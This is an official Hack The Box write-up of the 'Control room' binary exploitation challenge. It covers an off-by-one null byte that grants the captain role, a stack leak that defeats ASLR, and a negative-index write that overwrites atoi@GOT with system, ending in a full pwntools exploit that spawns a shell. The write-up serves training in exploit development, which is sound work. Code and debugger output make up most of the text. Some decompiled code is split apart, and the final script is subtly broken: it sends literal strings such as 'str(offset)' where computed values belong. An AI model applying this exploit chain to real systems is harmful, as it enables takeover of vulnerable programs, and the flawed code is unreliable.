



HACKTHEBOX



Control room

7th October 2022 / Document No.
D22.102.257

Prepared By: w3th4nds

Challenge Author(s): An0nSaiko & saspect

Difficulty: **Medium**

Classification: Official

Synopsis

Control room is a medium-difficulty challenge that is about the control room of a crashed alien spacecraft which enforces Role-based access control with three roles crew, technician and captain. In order to take control of the control room the player has to exploit an off-by-one null byte write, to achieve privilege escalation to captain and then use the privileged functionality to achieve code execution by combining an uninitialized stack usage bug and a flawed bound check.

Skills Required

- Basic understanding of stack frame layout on `x86-64` platforms
- Lazy binding (`.got.plt`, `.plt`)

Skills Learned

- Spotting subtle off-by-one bugs
- Leaking stack contents through uninitialized memory
- Exploiting flawed bound checks to achieve arbitrary write

Enumeration

Before entering the control room, we have to register, by entering a username which we can tweak by answering `n` to the respective prompt.

```
./challenge

<===[ Register ]===>

Enter a username: username_example

Are you sure about your username choice? (y/n)
> n
<===[ Edit Username ]===>

New username size: 9

Enter your new username: changed
[+] User updated successfully!
```

After getting registered, we get access to the control room, sadly our role is `Crew` preventing us from accessing any crucial functionality.

```
Control Panel  9A0:F3

Technician:
1. Configure Engine
2. Check Engine

Captain:
3. Set route
4. View route
5. Change roles

[*] Current Role: Crew

Option [1-5]:
```

Decompiler to the rescue.

We can use a decompiler, like IDA, Ghidra etc. to peek into the inner workings of the control room.

```
int main()
{
    char option[4];
```

```

setup();
*option = 0;
user_register();
printf("\nAre you sure about your username choice? (y/n)");
printf("\n> ");
fgets(option, 4, stdin);
option[strcspn(option, "\n")] = 0;
if ( !strcmp(option, "y") )
    log_message(0, "User registered successfully.\n");
else
    user_edit(option);
menu();
return 0;
}

```

We see that main first calls a setup function which takes care of `stdin/stdout` buffering, and then allocates

a `0x110` size object using malloc, and saves a reference to the `curr_user` variable, then it sets `curr_user + 64` to 2 which is a hint that `curr_user` is described by a struct.

```

char *setup()
{
    char *result;

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    read_banner();
    memset(&engines, 0, 0x80);
    curr_user = malloc(0x110);
    result = curr_user;
    *(curr_user + 64) = 2;
    return result;
}

```

Then `user_register` is called, which reads 256 bytes into `curr_user` and saves the length of the username + 1 to `curr_user + 0x21`

```

unsigned user_register()
{
    char src[256];

    puts("<==[ Register ]==>\n");
    printf("Enter a username: ");
    read_input(src, 256LL);
    strncpy(curr_user, src, 0x100uLL);
    *(curr_user + 0x21) = strlen(curr_user) + 1;
}

```

Now, we are pretty sure that `curr_user` is described by a struct, of three members: `username`, `username_size` and another integer at `curr_user + 64`

```

print_current_role()
{
    int v0;

    v0 = *(curr_user + 64);
    if ( v0 == 2 )
        return log_message(1LL, "Current Role: Crew\n");
    if ( v0 > 2 )
        goto LABEL_9;
    if ( !v0 )
        return log_message(1LL, "Current Role: Captain\n");
    if ( v0 != 1 )
    {
LABEL_9:
        log_message(3LL, "How did you get here?!\n");
        exit(1337);
    }
    return log_message(1LL, "Current Role: Technician\n");
}

```

From `print_current_role` we can deduce, that `curr_user + 64` is the role of the user, and that role 0, 1, 2 describes captain, technical and crew roles respectively.

Therefore our user struct is:

```

typedef struct user
{
    char username[256];
    int role;
    size_t username_size;
} user_t;

```

Now `user_register` becomes:

```

user_register()
{
    char src[256];

    puts("<===[ Register ]===>\n");
    printf("Enter a username: ");
    read_input(src, 256);
    strncpy(curr_user->username, src, 0x100);
    curr_user->username_size = strlen(curr_user->username) + 1;
}

```

Back to the main function, after the `user_register` function call, a prompt makes sure that we have entered our desired username. If we answer `n` to that prompt `user_edit` is called.

```

void user_edit()
{
    int new_size;
    void *new_username;
}

```

```

puts("<==[ Edit Username ]==>\n");
printf("New username size: ");
new_size = read_num();
if ( curr_user->username_size >= new_size )
{
    new_username = malloc(new_size + 1);
    if ( !new_username )
    {
        log_message(3, "Please replace the memory catridge.");
        exit(-1);
    }
    memset(new_username, 0, new_size + 1);
    printf("\nEnter your new username: ");
    fgets(new_username, new_size, stdin);
    *(new_username + strcspn(new_username, "\n")) = 0;
    strncpy(curr_user->username, new_username, new_size + 1);
    log_message(0, "User updated successfully!\n");
    free(new_username);
}
else
{
    log_message(3, "Can't be larger than the current username.\n");
}
}

```

If we choose to to edit our name, we are asked for a new username size which must be less or equal to the current one, and then a new chunk of `new_size + 1` size is allocated on the heap on which we can write our new username.



Escalating to Captain

As we discovered in the initial analysis part, we are unable to do anything without a `captain` or `technician` role. Thus, we have to search for a bug or a combination of bugs which can lead to elevation of privilege inside the application.

If we look closely we can notice that there is an inconsistency between `user_register` and `user_edit`

In `user_register`, username length accounts for the trailing null byte:

```
curr_user->username_size = strlen(curr_user->username) + 1;
```

In `user_edit`, the condition which checks the new_size doesn't account for it:

```
if ( curr_user->username_size >= new_size )
```

Thus, if the old size (username_size) is 256 and new_size is 256 the condition will evaluate to true, but the call to `memset` will cause an off-by-one null byte write.

```
memset(new_username, 0, new_size + 1);
```

That's because the username buffer is 256 characters long, if `new_size` is 256 then `memset` will write 257 (`new_size + 1`) into the username buffer leading to an off-by-one null byte write, triggered by the following `strcpy` call.

```
strcpy(curr_user->username, new_username, new_size + 1);
```

Let's see that in a debugger, first, we send 256 bytes (including the trailing null byte) so `username_size` will be 256.

```
00:0000| rsp 0x7fff511b99b0 ← 0x4141414141414141 ('AAAAAAA')
... ↓      7 skipped

[ STACK ]
[ BACKTRACE ]
f 0      0x4017a0 user_register+148
f 1      0x401fab main+61
f 2      0x7f28eb51d083 __libc_start_main+243

pwndbg> p (user_t)*curr_user
$4 = {
  username = 'A' <repeats 255 times>,
  role = 2,
  size = 256
}
pwndbg>
```

Then in `user_edit`, we answer `n` to the prompt, enter 256 as new size and send 255 bytes.

```
00:0000| rsp 0x7fff511b9ab0 ← 0x10000402060 /* ``@' */
01:0008| 0x7fff511b9ab8 ← 0x0
02:0010| xbp 0x7fff511b9ac0 → 0x7fff511b9af0 ← 0x0
03:0018| 0x7fff511b9ac8 → 0x40201e (main+176) ← jmp 0x402031
04:0020| 0x7fff511b9ad0 → 0x7fff511b9be8 → 0x7fff511bb263 ← "Enter new role (0-255): "
05:0028| 0x7fff511b9ad8 ← 0x1004012b0
06:0030| 0x7fff511b9ae0 ← 0x6e41511b9be0
07:0038| 0x7fff511b9ae8 ← 0x96fba613ce20400

[ STACK ]
[ BACKTRACE ]
f 0      0x4018ff user_edit+328
f 1      0x40201e main+176
f 2      0x7f28eb51d083 __libc_start_main+243

pwndbg> p (user_t)*curr_user
$5 = {
  username = 'A' <repeats 255 times>,
  role = 0,
  size = 256
}
pwndbg>
```

We see that now our role is 0, because `memset` wrote one null byte after the username buffer, overwriting our role from 2 to 0, making us a captain.

Auditing Captain's functionality

Now that we have made captain, we have access to route configuration functionality.

```
unsigned __int64 change_route()
{
    int i;
    long v2[8];
    char s[2];
    char v4;

    *s = 0;
    v4 = 0;
    if ( curr_user->role )
```

```

{
    log_message(3, "Only the captain is allowed to change the ship's route\n");
}
else
{
    for ( i = 0; i <= 3; ++i )
    {
        printf("<===[ Coordinates [%d] ]===>\n", (i + 1));
        printf("\tLatitude   : ");
        __isoc99_scanf("%ld", &v2[2 * i]);
        printf("\tLongitude  : ");
        __isoc99_scanf("%ld", &v2[2 * i + 1]);
    }
    getchar();
    printf("\nDo you want to save the route? (y/n) ");
    printf("\n> ");
    fgets(s, 3, stdin);
    s[strcspn(s, "\n")] = 0;
    if ( !strcmp(s, "y") )
    {
        route = v2[0];
        qword_405168 = v2[1];
        qword_405170 = v2[2];
        qword_405178 = v2[3];
        qword_405180 = v2[4];
        qword_405188 = v2[5];
        qword_405190 = v2[6];
        qword_405198 = v2[7];
        log_message(0, "The route has been successfully updated!\n");
    }
    else
    {
        log_message(1, "Operation cancelled");
    }
}
}
}

```

In `change_route`, we see that we are prompted for a pair of coordinates, which are then saved into a global array, so we can make a struct for coordinates.

```

typedef struct coordinate
{
    long latitude;
    long longitude;
} coordinate_t;

```

Now `change_route` becomes:

```

unsigned __int64 change_route()
{
    int i;
    coordinate_t route_temp[4];
    char option[2];

```

```

*option = 0;
if ( curr_user->role )
{
    log_message(3, "Only the captain is allowed to change the ship's route\n");
}
else
{
    for ( i = 0; i <= 3; ++i )
    {
        printf("<====[ Coordinates [%d] ]====>\n", (i + 1));
        printf("\tLatitude   : ");
        __isoc99_scanf("%ld", &route_temp[i]);
        printf("\tLongitude  : ");
        __isoc99_scanf("%ld", &route_temp[i].longitude);
    }
    getchar();
    printf("\nDo you want to save the route? (y/n) ");
    printf("\n> ");
    fgets(option, 3, stdin);
    option[strcspn(option, "\n")] = 0;
    if ( !strcmp(option, "y") )
    {
        route[0] = route_temp[0];
        route[1] = route_temp[1];
        route[2] = route_temp[2];
        route[3] = route_temp[3];
        log_message(0, "The route has been successfully updated!\n");
    }
    else
    {
        log_message(1, "Operation cancelled");
    }
}
}

```

Now that it is far more clear, we can easily analyze the code.

We see that there is a `coordinate_t route_temp[4]` array in the stack, and a same route global array. First elements of the stack array are populated using `scanf` and then we are prompted, if we want to save the route, which eventually copies the data of the stack array to the global one.

The problem here is that the stack array is not initialized. Giving the option `-`, will make `scanf` fail, leaving the elements of the array in an uninitialized state. Making it possible to leak contents of the stack using the `view_route` function.

Let's check our hypothesis, we first call `change_route` and input `-` to all prompts for coordinates, and answer `y` at the prompt. Then we call `view_route`. A bunch of big "random" numbers appear instead of coordinates. Proving our hypothesis, that we can leak stack contents.


```

<===[ Route ]===>

<===[ Coordinates [1] ]===>
    Latitude : 0
    Longitude : 140147254810052
<===[ Coordinates [2] ]===>
    Latitude : 140726291023472
    Longitude : 4199857
<===[ Coordinates [3] ]===>
    Latitude : 43809513568
    Longitude : 4425317874449452544
<===[ Coordinates [4] ]===>
    Latitude : 140726291023152
    Longitude : 4199934

```

We can now, attach a debugger to find which of these leaks are useful to us.

```

pwndbg> tel &route 8
00:0000 0x405160 (route) ← 0x0
01:0008 0x405168 (route+8) → 0x7fe0f1bed5c4 (atoi+20) ← add    rsp, 8
02:0010 0x405170 (route+16) → 0x7fff231eca60 ← 0x1
03:0018 0x405178 (route+24) → 0x4015b1 (read_num+85) ← mov    rcx, qword ptr [rbp - 8]
04:0020 0x405180 (route+32) ← 0xa33402060 /* `` @3\n' */
05:0028 0x405188 (route+40) ← 0xdbeb86a0c3256f00
06:0030 0x405190 (route+48) → 0x7fff231ec920 → 0x7fff231ec940 → 0x7fff231ec970 ← 0x0
07:0038 0x405198 (route+56) → 0x4015fe (read_option+55) ← leave
pwndbg>

```

We observe that at `route+8` which corresponds to the `longitude` of the first coordinate holds the address of `atoi+20`. `atoi` is a function that resides in `libc`, so this leak allows us to calculate the `libc` base defeating ASLR!

Can engines write?

Now that we have found a way to defeat ASLR through a `libc` leak, we need a primitive to achieve code execution.

We haven't seen yet what technicians can do, so let's audit the technician functionality.

First of all, to become a technician we can use the `change_role` function:

```

change_role()
{
    int v1; // [rsp+Ch] [rbp-4h]

    if ( curr_user->role )
        return log_message(3LL, "Only Captain is allowed to change roles.\n");
    puts("<===[ Available roles ]===>");
    puts("Technician: 1 | Crew: 2");
    printf("New role: ");
    new_role = read_num();
    if ( new_role != 1 && new_role )
        return log_message(3LL, "Invalid role.");
}

```

```

curr_user->role = new_role;
log_message(0LL, "New role has been set successfully!");
}

```

Same as with captain, there is a `configure_engine` function accessible by technicians:

```

configure_engine()
{
    _QWORD *v0;
    __int64 v1;
    int v3;
    __int64 v4;
    __int64 v5;
    char s[2];

    *s = 0;
    if ( curr_user->role == 1 )
    {
        printf("\nEngine number [0-%d]: ", 3LL);
        engine_id = read_num();
        if ( engine_id <= 3 )
        {
            printf("Engine [%d]: \n", engine_id);
            printf("\tThrust: ");
            __isoc99_scanf("%ld", &v4);
            printf("\tMixture ratio: ");
            __isoc99_scanf("%ld", &v5);
        }
        getchar();
        printf("\nDo you want to save the configuration? (y/n) ");
        printf("\n> ");
        fgets(s, 3, stdin);
        s[strcspn(s, "\n")] = 0;
        if ( !strcmp(s, "y") )
        {
            v0 = (&engines + 16 * engine_id);
            v1 = v5;
            *v0 = v4;
            v0[1] = v1;
            log_message(0, "Engine configuration updated successfully!\n");
        }
        else
        {
            log_message(1, "Engine configuration cancelled.\n");
        }
    }
    else
    {
        log_message(3, "Only technicians are allowed to configure the engines");
    }
}

```

We can observe the same pattern, we are prompted for an engine id, then for a thrust and mixture ratio and then for a confirmation on saving the config.

First, let's create an engine struct:

```
typedef struct engine
{
    long thrust;
    long mixture_ratio;
} engine_t;
```

```
configure_engine()
{
    engine_t *engine2edit;
    __int64 new_mixture_ratio;
    int engine_id;
    engine_t new_engine;
    char option[2];

    *option = 0;
    v6 = 0;
    if ( curr_user->role == 1 )
    {
        printf("\nEngine number [0-%d]: ", 3LL);
        engine_id = read_num();
        if ( engine_id <= 3 )
        {
            printf("Engine [%d]: \n", engine_id);
            printf("\tThrust: ");
            __isoc99_scanf("%ld", &new_engine);
            printf("\tMixture ratio: ");
            __isoc99_scanf("%ld", &new_engine.mixture_ratio);
        }
        getchar();
        printf("\nDo you want to save the configuration? (y/n) ");
        printf("\n> ");
        fgets(option, 3, stdin);
        option[strcspn(option, "\n")] = 0;
        if ( !strcmp(option, "y") )
        {
            engine2edit = &engines[engine_id];
            new_mixture_ratio = new_engine.mixture_ratio;
            engine2edit->thrust = new_engine.thrust;
            engine2edit->mixture_ratio = new_mixture_ratio;
            log_message(0LL, "Engine configuration updated successfully!\n");
        }
        else
        {
            log_message(1LL, "Engine configuration cancelled.\n");
        }
    }
    else
    {
        log_message(3LL, "Only technicians are allowed to configure the engines");
    }
}
```

Essentially, what the code does is that it takes an engine id, checks if it is less than or equal to 3 and then creates a new `engine` object which is then copied to the `engines` global array.

The flaw here is that there is not a lower bound check for the `engine_id`, and because `engine_id` is an int, we can provide a negative index leading to an OOB write.

Putting it all together

Now that we have a way to leak libc base and an arbitrary write primitive we can achieve code execution.

First, we use our privilege escalation bug to become captain and then we defeat ASLR by leaking

```
atoi + 20
```

```
convert = lambda x                :x if type(x)==bytes else str(x).encode()
s       = lambda data             :io.send(convert(data))
sl      = lambda data             :io.sendline(convert(data))
sla     = lambda delim,data       :io.sendlineafter(convert(delim),
convert(data), timeout=context.timeout)
ru      = lambda delims, drop=True :io.recvuntil(delims, drop,
timeout=context.timeout)
r       = lambda n                :io.recv(n)
rl      = lambda                 :io.recvline()

...

# Stage 1: Exploit Off By One Null byte write to overwrite role to Captain
# First register with a username of 256 byte
log.info("Stage 1: Escalate to Captain")

username = b"A" * 256
ru(b"username:")
s(username)

# Now curr_user -> size = 256
# In edit if new_size is 256 then memset will null-out 257 (256+1) bytes.

sla(b">", b"\n") # send no to get in edit_user

new_size = b'256'
username = b"A" * 255
sla(b"username size:", new_size)
ru(b"username:")
s(username)

log.success("Stage 1 completed.")

# Stage 2 - Leak libc address - atoi + 20.

log.info("Stage 2: Leak libc base.")

sla(b":", b"3") # Set route
```

```

for i in range(8):
    sla(b":", b"-")

sla(b"> ", b"y")

# View route
sla(b":", b"4")

ru(b"[1]")
rl()
rl()
ru(b": ")
leak = int(rl().strip())

log.info('leak @ [0x%x]' % leak)
libc.address = (leak - 20) - libc.sym.atoi
log.info('libc @ [0x%x]' % libc.address)

log.success("Stage 2 completed.")

```

Then we calculate the offset from the engine array to the `atoi@GOT` entry. We use that offset (which is negative) in the `configure_engine` function to overwrite `atoi@GOT` entry with `system` and then we input `sh` as a menu option, it will eventually be passed to an `atoi` call through `GOT`, which we have overwrite to `system` so, `system("sh")` will be called.

```

# Stage 3 - Arb. Write in configure_engines
# First we have to downgrade to technician

log.info("Stage 3: Overwrite plt.got.atoi with system.")

sla(b"]:", b"5") # Change roles
sla(b"role:", b"1") # Technician (role = 1)

# Overwrite got.plt.atoi with system so when
# read_num is called in the menu we can give sh as input which will be passed
to atoi and thus system

sla(b"]:", b"1") # Configure engine
offset = (elf.got.atoi - elf.sym.engines) // 16

sla(b"]:", b"str(offset)") # This is calculated by (&got.plt.atoi - &engines)/16
sla(b"Thrust:", b"libc.sym.system")
sla(b"ratio:", b"-") # Do not write on got.atoi + 8
sla(b"> ", b"y")

log.success("Stage 3 completed.")

sla(b"]:", b"sh")

io.interactive()

```